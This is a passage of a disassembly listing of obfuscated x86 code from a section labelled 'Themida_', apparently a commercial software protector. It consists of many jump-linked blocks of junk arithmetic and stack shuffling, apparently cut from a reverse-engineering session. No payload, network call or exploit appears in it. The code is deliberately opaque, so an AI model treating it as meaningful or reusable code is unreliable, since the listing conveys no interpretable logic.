		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_56AC36
; ---------------------------------------------------------------------------


loc_573C12:				; CODE XREF: Themida_:0056D76Bj
		add	ebx, 677704Fh
		pop	edx
		push	edi
		mov	edi, 55D2547Ah
		add	edi, 4CFE8AAh
		add	ebx, edi
		pop	edi
		push	16DEh
		jmp	loc_5687F3
; ---------------------------------------------------------------------------


loc_573C32:				; CODE XREF: Themida_:00564EBBj
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		jmp	loc_56A38C
; ---------------------------------------------------------------------------


loc_573C56:				; CODE XREF: Themida_:0056000Aj
		mov	al, 0EFh
		xor	cl, al
		pop	eax
		xor	al, cl
		mov	ecx, [esp]
		push	ecx
		jmp	loc_571FD5
; ---------------------------------------------------------------------------


loc_573C66:				; CODE XREF: Themida_:00561DC2j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_573AB0
; ---------------------------------------------------------------------------


loc_573C78:				; CODE XREF: Themida_:005619B1j
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 27D123B0h
		jmp	loc_568639
; ---------------------------------------------------------------------------


loc_573C89:				; CODE XREF: Themida_:0055FA00j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56E535
; ---------------------------------------------------------------------------


loc_573CB1:				; CODE XREF: Themida_:005600B4j
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	42522B82h
		pop	ebp
		push	edx
		mov	edx, 5434060Eh
		xor	edx, 770214A8h
		sub	edx, 1
		add	edx, 0FE6D4054h
		add	ebp, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_564DE0
; ---------------------------------------------------------------------------


loc_573CE0:				; CODE XREF: Themida_:00563E54j
		push	ecx
		jmp	loc_5690BF
; ---------------------------------------------------------------------------


loc_573CE6:				; CODE XREF: Themida_:00564B10j
		pop	ecx
		sub	bl, dh
		mov	dx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		push	18ACh
		mov	[esp], edi
		push	edx
		mov	edx, 4B830EEFh
		jmp	loc_56D7A6
; ---------------------------------------------------------------------------


loc_573D18:				; CODE XREF: Themida_:0056B467j
		dec	ecx
		add	ecx, 0CAF8D23Ah
		mov	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 0DCBF0EC3h
		sub	edx, edi
		pop	edi
		and	edx, 7ABD5E81h
		push	esi
		mov	esi, 28C443BCh
		and	edx, esi
		jmp	loc_5737D3
; ---------------------------------------------------------------------------


loc_573D3E:				; CODE XREF: Themida_:0056AAB5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56B197
; ---------------------------------------------------------------------------


loc_573D47:				; CODE XREF: Themida_:0056B770j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_563DE0
; ---------------------------------------------------------------------------


loc_573D68:				; CODE XREF: Themida_:0056ABD0j
		pop	edx
		add	ebp, eax
		sub	ebp, 0CBA2D33h
		pop	eax
		mov	edi, [esp]
		push	esi
		push	0F79h
		mov	[esp], esp
		jmp	loc_5710A0
; ---------------------------------------------------------------------------


loc_573D83:				; CODE XREF: Themida_:00562095j
		xor	ebx, edx
		jmp	loc_56D79B
; ---------------------------------------------------------------------------


loc_573D8A:				; CODE XREF: Themida_:0057109Bj
		sub	ebx, 4EA55B99h
		jmp	loc_5639B3
; ---------------------------------------------------------------------------


loc_573D95:				; CODE XREF: Themida_:005673EAj
		mov	ah, 97h
		sub	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, al
		jmp	loc_5651AF
; ---------------------------------------------------------------------------


loc_573DAF:				; CODE XREF: Themida_:00563C9Ej
		sub	esi, 581828ECh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56E6AC
; ---------------------------------------------------------------------------


loc_573DC0:				; CODE XREF: Themida_:00569CBFj
		push	ecx
		jmp	loc_569FA3
; ---------------------------------------------------------------------------


loc_573DC6:				; CODE XREF: Themida_:00570F25j
		add	cl, 0FFh
		jmp	loc_56275E
; ---------------------------------------------------------------------------


loc_573DCE:				; CODE XREF: Themida_:0056A357j
		push	1F2Fh
		mov	[esp], ebx
		push	edx
		jmp	loc_56C5CC
; ---------------------------------------------------------------------------


loc_573DDC:				; CODE XREF: Themida_:005636ACj
		dec	bl
		shl	bl, 1
		xor	bl, 0AAh
		jmp	loc_56CF76
; ---------------------------------------------------------------------------


loc_573DE8:				; CODE XREF: Themida_:00574611j
		pop	esp
		sub	dword ptr [esp+4], 28EF05DDh
		jmp	loc_562D13
; ---------------------------------------------------------------------------


loc_573DF6:				; CODE XREF: Themida_:00566605j
		add	ebp, 46A993D1h
		add	esi, ebp
		pop	ebp
		jmp	loc_563C90
; ---------------------------------------------------------------------------


loc_573E04:				; CODE XREF: Themida_:005653C7j
		sub	edx, 79C1471Ch
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_564D48
; ---------------------------------------------------------------------------


loc_573E15:				; CODE XREF: Themida_:0056A2ACj
		add	edx, edi
		push	dword ptr [esp]
		jmp	loc_56FEF8
; ---------------------------------------------------------------------------


loc_573E1F:				; CODE XREF: Themida_:00566B9Cj
		pop	ecx
		add	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_55F5D8
; ---------------------------------------------------------------------------


loc_573E2A:				; CODE XREF: Themida_:00569CACj
		add	bx, 5AE4h
		sub	bx, dx
		sub	bx, 5AE4h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	bp, [esp]
		add	esp, 2
		jmp	loc_5653B3
; ---------------------------------------------------------------------------


loc_573E4D:				; CODE XREF: Themida_:00571E0Bj
		push	esp
		pop	ecx
		push	ebx
		jmp	loc_564F07
; ---------------------------------------------------------------------------


loc_573E55:				; CODE XREF: Themida_:00571353j
		add	cl, 0DEh
		jmp	loc_571045
; ---------------------------------------------------------------------------


loc_573E5D:				; CODE XREF: Themida_:0056D431j
		push	ebx
		mov	ebx, 0B274467h
		mov	edx, 3B666A83h
		xor	edx, ebx
		pop	ebx
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_56F1FC
; ---------------------------------------------------------------------------


loc_573E75:				; CODE XREF: Themida_:0056259Fj
		push	ebx
		push	eax
		mov	eax, 1F006A20h
		neg	eax
		jmp	loc_56093F
; ---------------------------------------------------------------------------


loc_573E83:				; CODE XREF: Themida_:0055FBCDj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56FD4D
; ---------------------------------------------------------------------------


loc_573E94:				; CODE XREF: Themida_:0056ACD3j
		add	ebx, 0CFFF0472h
		xor	edx, ebx
		pop	ebx
		xor	edx, 2588833Ah
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, edi
		pop	edi
		push	16C3h
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 23BB5D9Fh
		shl	edx, 1
		jmp	loc_57380B
; ---------------------------------------------------------------------------


loc_573ECD:				; CODE XREF: Themida_:00562829j
		or	[edi+1Ch], ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4F4E36F0h
		neg	ebp
		jmp	loc_561FE2
; ---------------------------------------------------------------------------


loc_573EEC:				; CODE XREF: Themida_:00571815j
		mov	[esp], ax
		jmp	loc_5668BB
; ---------------------------------------------------------------------------


loc_573EF5:				; CODE XREF: Themida_:0056F409j
		add	ecx, 489C18B9h
		sub	ecx, 7FB51972h
		sub	ecx, ebx
		add	ecx, 7FB51972h
		push	54A8h
		mov	[esp], esi
		mov	esi, 31C11F15h
		xor	esi, 795D07ACh
		sub	ecx, esi
		pop	esi
		pop	ebx
		sub	ecx, 497622F1h
		jmp	loc_568CCB
; ---------------------------------------------------------------------------


loc_573F2B:				; CODE XREF: Themida_:00564282j
		pop	ebx
		push	4E27h
		mov	[esp], ebx
		jmp	loc_570ABF
; ---------------------------------------------------------------------------


loc_573F39:				; CODE XREF: Themida_:00565CD4j
		push	esp
		jmp	loc_565339
; ---------------------------------------------------------------------------


loc_573F3F:				; CODE XREF: Themida_:00572ABBj
		mov	ebp, edx
		jmp	loc_57058E
; ---------------------------------------------------------------------------


loc_573F46:				; CODE XREF: Themida_:0056084Cj
		push	eax
		push	36CB392Bh
		jmp	loc_568463
; ---------------------------------------------------------------------------


loc_573F51:				; CODE XREF: Themida_:005703EFj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	edi, 17C35E8Bh
		add	edi, ecx
		push	esi
		mov	esi, 17C35E8Bh
		sub	edi, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_564085
; ---------------------------------------------------------------------------


loc_573F80:				; CODE XREF: Themida_:00570498j
		dec	edi
		push	eax
		mov	eax, 29817D3h
		dec	eax
		shl	eax, 1
		xor	eax, 93602DB2h
		sub	edi, eax
		jmp	loc_5698FF
; ---------------------------------------------------------------------------


loc_573F96:				; CODE XREF: Themida_:0056BF31j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_569AB5
; ---------------------------------------------------------------------------


loc_573FA4:				; CODE XREF: Themida_:0056B31Fj
		push	edi
		push	1E2D149Bh
		pop	edi
		sub	ecx, edi
		jmp	loc_570D4B
; ---------------------------------------------------------------------------


loc_573FB2:				; CODE XREF: Themida_:00563F68j
		xor	edx, 0A42FF6BCh
		mov	ebp, edx
		pop	edx
		shl	ebp, 4
		and	ebp, 7F0F510Ah
		dec	ebp
		sub	ebp, 0F49DDC7Eh
		not	ebp
		or	ebp, 23D121CEh
		sub	ebp, 0F372EAD8h
		sub	edi, 11715C9Fh
		jmp	loc_56C39F
; ---------------------------------------------------------------------------


loc_573FE4:				; CODE XREF: Themida_:0056635Bj
		push	eax
		jmp	loc_5726C1
; ---------------------------------------------------------------------------


loc_573FEA:				; CODE XREF: Themida_:00560C74j
		shr	ecx, 4
		push	ebp
		mov	ebp, 0F894313Dh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5670C7
; ---------------------------------------------------------------------------


loc_573FFB:				; CODE XREF: Themida_:00565CC7j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_562B6F
; ---------------------------------------------------------------------------


loc_574013:				; CODE XREF: Themida_:0055F930j
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		jmp	loc_569924
; ---------------------------------------------------------------------------


loc_57401E:				; CODE XREF: Themida_:00564BC8j
		mov	[esp], ecx
		jmp	loc_566B97
; ---------------------------------------------------------------------------


loc_574026:				; CODE XREF: Themida_:005723ABj
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 3AB72CFFh
		shr	edx, 7
		jmp	loc_572A11
; ---------------------------------------------------------------------------


loc_57403B:				; CODE XREF: Themida_:00563F57j
		mov	ch, 36h
		mov	bl, ch
		jmp	loc_56AF98
; ---------------------------------------------------------------------------


loc_574044:				; CODE XREF: Themida_:005676BAj
		mov	[esp], esi
		jmp	loc_56F6E3
; ---------------------------------------------------------------------------


loc_57404C:				; CODE XREF: Themida_:0056346Dj
		push	edx
		mov	edx, 51AB22CEh
		xor	ecx, edx
		pop	edx
		jmp	loc_56DE44
; ---------------------------------------------------------------------------


loc_57405A:				; CODE XREF: Themida_:00570ABAj
		mov	edi, eax
		mov	eax, [esp]
		push	eax
		jmp	loc_564B54
; ---------------------------------------------------------------------------


loc_574065:				; CODE XREF: Themida_:005657E8j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 0E0h
		or	dh, 0C7h
		add	dh, 93h
		sub	dh, 13h
		dec	dh
		sub	dh, 34h
		mov	bh, dh
		pop	edx
		add	bh, dh
		pop	edx
		add	bh, 0F9h
		add	bh, al
		jmp	loc_562C66
; ---------------------------------------------------------------------------


loc_57408C:				; CODE XREF: Themida_:0057047Ej
		push	dword ptr [esp]
		jmp	loc_571E16
; ---------------------------------------------------------------------------


loc_574094:				; CODE XREF: Themida_:00562490j
		pop	edx
		push	edi
		jmp	loc_56A876
; ---------------------------------------------------------------------------


loc_57409B:				; CODE XREF: Themida_:00560AFFj
		sub	ebx, 63E92862h
		xor	ebx, 7BC62E37h
		push	edi
		mov	edi, 77A70572h
		add	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		jmp	loc_567E9D
; ---------------------------------------------------------------------------


loc_5740B8:				; CODE XREF: Themida_:00570765j
		push	esi
		push	eax
		mov	eax, esp
		jmp	loc_56F9DD
; ---------------------------------------------------------------------------


loc_5740C1:				; CODE XREF: Themida_:0056C137j
		pop	ebx
		push	esi
		push	ebx
		mov	ebx, 58696E66h
		jmp	loc_57333B
; ---------------------------------------------------------------------------


loc_5740CE:				; CODE XREF: Themida_:0056EA90j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_56056F
; ---------------------------------------------------------------------------


loc_5740E9:				; CODE XREF: Themida_:00564C54j
		mov	ebp, 421C19FEh
		jmp	loc_56E766
; ---------------------------------------------------------------------------


loc_5740F3:				; CODE XREF: Themida_:0056E9EDj
		xor	eax, 86A3A6Fh
		neg	eax
		and	eax, 236A6754h
		jmp	loc_568A00
; ---------------------------------------------------------------------------


loc_574104:				; CODE XREF: Themida_:00561B30j
		pop	ebp
		jmp	loc_572FA5
; ---------------------------------------------------------------------------


loc_57410A:				; CODE XREF: Themida_:005745A2j
		push	edx
		mov	edx, 93807C5h
		add	esi, 38665DE9h
		jmp	loc_5619F3
; ---------------------------------------------------------------------------


loc_57411B:				; CODE XREF: Themida_:0056C644j
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_562164
; ---------------------------------------------------------------------------


loc_57412A:				; CODE XREF: Themida_:00572FA0j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, al
		push	88Dh
		mov	[esp], edi
		jmp	loc_567CCB
; ---------------------------------------------------------------------------


loc_574153:				; CODE XREF: Themida_:0057438Aj
		xchg	ebx, edx
		inc	ebx
		xchg	ebx, edx
		neg	edx
		add	edx, 15767F9Ch
		neg	edx
		sub	edx, 897A936Dh
		xor	ebx, edx
		jmp	loc_567BAD
; ---------------------------------------------------------------------------


loc_57416F:				; CODE XREF: Themida_:00571D9Aj
		pop	eax
		jmp	loc_5728B0
; ---------------------------------------------------------------------------


loc_574175:				; CODE XREF: Themida_:0055F8B1j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_562D67
; ---------------------------------------------------------------------------


loc_5741AA:				; CODE XREF: Themida_:0056DE2Ej
		push	0
		add	dword ptr [esp], 9315CEAh
		sub	[esp], eax
		push	ecx
		jmp	loc_5672A8
; ---------------------------------------------------------------------------


loc_5741BF:				; CODE XREF: Themida_:0056DE50j
		mov	ebx, 0CE010498h
		jmp	loc_57005A
; ---------------------------------------------------------------------------


loc_5741C9:				; CODE XREF: Themida_:00572214j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56E5A6
; ---------------------------------------------------------------------------


loc_5741D2:				; CODE XREF: Themida_:005691DBj
		xor	al, 2
		add	bl, al
		pop	eax
		xor	bl, 36h
		add	al, bl
		mov	bx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_572082
; ---------------------------------------------------------------------------


loc_5741ED:				; CODE XREF: Themida_:0057080Bj
		add	eax, ecx
		add	eax, 5AB4048Ch
		pop	ecx
		jmp	loc_573950
; ---------------------------------------------------------------------------


loc_5741FA:				; CODE XREF: Themida_:0056F2FCj
		add	edx, eax
		add	edx, 29FF1ECAh
		mov	eax, [esp]
		push	71D9h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_56F7BA
; ---------------------------------------------------------------------------


loc_574220:				; CODE XREF: Themida_:00565D8Dj
		add	ecx, 89D1076h
		neg	ecx
		jmp	loc_56FF6D
; ---------------------------------------------------------------------------


loc_57422D:				; CODE XREF: Themida_:005703AEj
		pop	eax
		push	ebx
		mov	ebx, 7EA745D4h
		jmp	loc_56CAED
; ---------------------------------------------------------------------------


loc_574239:				; CODE XREF: Themida_:0056B06Bj
		mov	eax, 107952C9h
		mov	edx, eax
		pop	eax
		and	esi, edx
		pop	edx
		jmp	loc_572797
; ---------------------------------------------------------------------------


loc_574249:				; CODE XREF: Themida_:00562DCAj
		sub	ebp, ebx
		jmp	loc_5664FF
; ---------------------------------------------------------------------------


loc_574250:				; CODE XREF: Themida_:0056B750j
		sub	edx, 51AE6EABh
		sub	ebx, edx
		pop	edx
		add	ebx, ebp
		add	ebx, 0FCA66F6h
		add	ebx, 2BA770B3h
		mov	ebp, [esp]
		push	35ACh
		mov	[esp], ebx
		push	esp
		jmp	loc_565046
; ---------------------------------------------------------------------------


loc_574278:				; CODE XREF: Themida_:00571469j
		push	esi
		mov	esi, 6FA9222Eh
		jmp	loc_569A5A
; ---------------------------------------------------------------------------


loc_574283:				; CODE XREF: Themida_:0056DDA2j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_565CD9
; ---------------------------------------------------------------------------


loc_57428C:				; CODE XREF: Themida_:005664FAj
		pop	esi
		add	esi, 4
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_56DF52
; ---------------------------------------------------------------------------


loc_57429C:				; CODE XREF: Themida_:005698D7j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, ecx
		pop	ecx
		push	19DFh
		mov	[esp], ecx
		mov	ecx, 2EFB28D0h
		push	ebx
		mov	ebx, 7C5D64A0h
		sub	ebx, 3F2B0BA7h
		and	ebx, 7EC06CC7h
		and	ebx, 4CC93388h
		jmp	loc_571BAD
; ---------------------------------------------------------------------------


loc_5742D1:				; CODE XREF: Themida_:0056CE12j
		pop	ecx
		push	dx
		push	ecx
		jmp	loc_56A3E9
; ---------------------------------------------------------------------------


loc_5742DA:				; CODE XREF: Themida_:00571CB0j
		mov	[esp], ebp
		push	esp
		jmp	loc_560418
; ---------------------------------------------------------------------------


loc_5742E3:				; CODE XREF: Themida_:00560132j
		pop	ecx
		jmp	loc_5714AE
; ---------------------------------------------------------------------------


loc_5742E9:				; CODE XREF: Themida_:00565992j
		mov	eax, 67CE03B8h
		or	ebp, eax
		pop	eax
		or	ebp, 5B776FADh
		shl	ebp, 5
		jmp	loc_56C1EB
; ---------------------------------------------------------------------------


loc_5742FF:				; CODE XREF: Themida_:00561DC9j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5625A4
; ---------------------------------------------------------------------------


loc_57430A:				; CODE XREF: Themida_:00563187j
		push	ecx
		mov	ecx, 2E6E79ADh
		jmp	loc_56CF93
; ---------------------------------------------------------------------------


loc_574315:				; CODE XREF: Themida_:00568863j
		mov	esi, 1C8351C2h
		shr	esi, 2
		sub	esi, 4F0C4C78h
		add	esi, 0B1699346h
		xor	eax, esi
		jmp	loc_56CA8F
; ---------------------------------------------------------------------------


loc_574330:				; CODE XREF: Themida_:0056CE50j
		push	eax
		push	esi
		mov	esi, 6D4E2EF7h
		mov	eax, 0B7C4F7F0h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560837
; ---------------------------------------------------------------------------


loc_574349:				; CODE XREF: Themida_:005738BBj
		add	esp, 2
		jmp	loc_5607A6
; ---------------------------------------------------------------------------


loc_574354:				; CODE XREF: Themida_:005646C0j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56E933
; ---------------------------------------------------------------------------
		push	58B5h
		mov	[esp], eax
		jmp	loc_562E7A
; ---------------------------------------------------------------------------


loc_574375:				; CODE XREF: Themida_:0056893Dj
		push	esp
		jmp	loc_566538
; ---------------------------------------------------------------------------


loc_57437B:				; CODE XREF: Themida_:005652D7j
		pop	eax
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_56BBB5
; ---------------------------------------------------------------------------


loc_574387:				; CODE XREF: Themida_:0056B937j
		shl	edx, 6
		jmp	loc_574153
; ---------------------------------------------------------------------------


loc_57438F:				; CODE XREF: Themida_:00564562j
		sub	esi, 4
		jmp	loc_56DB02
; ---------------------------------------------------------------------------


loc_574397:				; CODE XREF: Themida_:0056872Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_56FC5A
; ---------------------------------------------------------------------------


loc_5743B2:				; CODE XREF: Themida_:00570888j
		pop	ebx
		sub	ecx, 72C56E53h
		sub	ecx, edi
		add	ecx, 72C56E53h
		pop	edi
		and	eax, ecx
		pop	ecx
		shr	eax, 8
		jmp	loc_56FA8B
; ---------------------------------------------------------------------------


loc_5743CD:				; CODE XREF: Themida_:00570900j
		push	small 1E40h
		mov	[esp], cx
		push	ebx
		push	ecx
		mov	ch, 1Fh
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		push	14ADh
		mov	[esp], eax
		push	ecx
		mov	cl, bh
		jmp	loc_566CDF
; ---------------------------------------------------------------------------


loc_5743F4:				; CODE XREF: Themida_:00564290j
		add	ebx, 33E66618h
		sub	ebx, 0F580C31h
		jmp	loc_5643E3
; ---------------------------------------------------------------------------


loc_574405:				; CODE XREF: Themida_:00568EC7j
		add	ebp, 6B015220h
		sub	ebp, 38CE07A3h
		add	ebp, eax
		add	ebp, 38CE07A3h
		sub	ebp, 6B015220h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562553
; ---------------------------------------------------------------------------


loc_574439:				; CODE XREF: Themida_:00563198j
		pop	eax
		add	esp, 4
		pop	ebx
		sub	al, cl
		jmp	loc_56D6E9
; ---------------------------------------------------------------------------


loc_574448:				; CODE XREF: Themida_:00574555j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_574457:				; CODE XREF: Themida_:00567098j
		add	ecx, esi
		pop	esi
		sub	ecx, 652B7625h
		add	ecx, edx
		add	ecx, 652B7625h
		sub	ecx, 2F9F7617h
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 91h
		add	bl, 29h
		movzx	eax, al
		push	7F91h
		mov	[esp], esi
		jmp	loc_56E3E4
; ---------------------------------------------------------------------------


loc_574491:				; CODE XREF: Themida_:0056C4D5j
		pop	esp
		add	ebp, 4
		jmp	loc_56FDBE
; ---------------------------------------------------------------------------


loc_57449D:				; CODE XREF: Themida_:00561C60j
		dec	edi
		not	edi
		sub	edi, 893BBF24h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 56B30D7Bh
		push	esi
		mov	esi, 579F4F57h
		xchg	ebx, esi
		jmp	loc_5682FC
; ---------------------------------------------------------------------------


loc_5744C1:				; CODE XREF: Themida_:00563687j
		sub	eax, 7B904496h
		jmp	loc_566B2F
; ---------------------------------------------------------------------------


loc_5744CB:				; CODE XREF: Themida_:0056250Aj
		xor	ebp, ecx
		xor	ecx, ebp
		shr	ecx, 1
		sub	ecx, 0D81DAECh
		xor	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_561EFE
; ---------------------------------------------------------------------------


loc_5744E1:				; CODE XREF: Themida_:0056021Fj
		add	esi, 4AC458D0h
		add	esi, 430BD4C4h
		sub	edx, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		or	ecx, ecx
		jz	loc_56BAC1
		push	3580h
		push	esp
		pop	dword ptr [esp]
		push	edi
		push	4
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_574602
; ---------------------------------------------------------------------------


loc_574521:				; CODE XREF: Themida_:005648E2j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		neg	edx
		xor	edx, 75086AB8h
		jmp	loc_560C91
; ---------------------------------------------------------------------------


loc_574540:				; CODE XREF: Themida_:00566F3Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_574448
; ---------------------------------------------------------------------------


loc_57455A:				; CODE XREF: Themida_:005619C8j
		or	edi, ecx
		pop	ecx
		push	0ABCh
		jmp	loc_56944D
; ---------------------------------------------------------------------------


loc_574567:				; CODE XREF: Themida_:0056340Dj
		sub	ebp, edi
		jmp	loc_55F61E
; ---------------------------------------------------------------------------


loc_57456E:				; CODE XREF: Themida_:005663DBj
		push	ebx
		push	edx
		mov	edx, 1CE25BE1h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56D423
; ---------------------------------------------------------------------------


loc_574585:				; CODE XREF: Themida_:0055FFCBj
		mov	eax, 1BC00994h
		shr	eax, 7
		not	eax
		add	eax, 12564E31h
		add	ebp, eax
		jmp	loc_571E3C
; ---------------------------------------------------------------------------


loc_57459B:				; CODE XREF: Themida_:0056DB6Cj
		dec	esi
		xor	esi, 506062E9h
		jmp	loc_57410A
; ---------------------------------------------------------------------------


loc_5745A7:				; CODE XREF: Themida_:00566C33j
		mov	[esp], ebx
		mov	bl, 39h
		sub	al, bl
		pop	ebx
		add	al, 0D1h
		add	al, bl
		push	ebx
		jmp	loc_56B313
; ---------------------------------------------------------------------------


loc_5745B9:				; CODE XREF: Themida_:00565775j
		add	esi, ebp
		jmp	loc_572D1B
; ---------------------------------------------------------------------------


loc_5745C0:				; CODE XREF: Themida_:005693F1j
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_56B286
; ---------------------------------------------------------------------------


loc_5745CA:				; CODE XREF: Themida_:00571807j
		add	dh, 0FEh
		neg	dh
		dec	dh
		push	ebx
		jmp	loc_571C9D
; ---------------------------------------------------------------------------


loc_5745D7:				; CODE XREF: Themida_:0056198Bj
		push	edi
		jmp	loc_569565
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5745E5:				; CODE XREF: Themida_:0057340Aj
		sub	bh, 0Eh
		xchg	ch, bh
		not	ch
		xor	bh, ch
		xor	ch, bh
		xor	bh, ch
		shr	bh, 6
		or	bh, 0B7h
		neg	bh
		sub	bh, 2Dh
		jmp	loc_569224
; ---------------------------------------------------------------------------


loc_574602:				; CODE XREF: Themida_:0057451Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_573DE8
; ---------------------------------------------------------------------------


loc_574616:				; CODE XREF: Themida_:00564920j
		add	esp, 4
		jmp	loc_56E0A9
; ---------------------------------------------------------------------------


loc_574621:				; CODE XREF: Themida_:0056EF53j
		mov	ebx, 43C2390Eh
		mov	edi, ebx
		pop	ebx
		or	edi, 499F331Bh
		xor	edi, 454C57B0h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_565807
; ---------------------------------------------------------------------------


loc_57464E:				; CODE XREF: Themida_:0055FF33j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_571D09
; ---------------------------------------------------------------------------


loc_574661:				; CODE XREF: Themida_:00562FC2j
		jmp	loc_571B98
; ---------------------------------------------------------------------------


loc_574666:				; CODE XREF: Themida_:0056F12Cj
		shr	ebx, 8
		push	400Ch
		mov	[esp], edi
		mov	edi, 66C12CD6h
		not	edi
		neg	edi
		push	edx
		mov	edx, 60130C58h
		and	edx, 1E2A3EEBh
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, 0E072EADDh
		sub	edx, ebp
		pop	ebp
		xor	edi, edx
		mov	edx, [esp]
		jmp	loc_565F01
; ---------------------------------------------------------------------------


loc_57469E:				; CODE XREF: Themida_:00571B93j
		push	58E24C73h
		pop	edx
		jmp	loc_5700B6
; ---------------------------------------------------------------------------


loc_5746A9:				; CODE XREF: Themida_:00566BE8j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5680EA
; ---------------------------------------------------------------------------


loc_5746B9:				; CODE XREF: Themida_:0056FD38j
		mov	[esp], ebx
		push	38EE589Dh
		mov	ebx, [esp]
		jmp	loc_563906
; ---------------------------------------------------------------------------


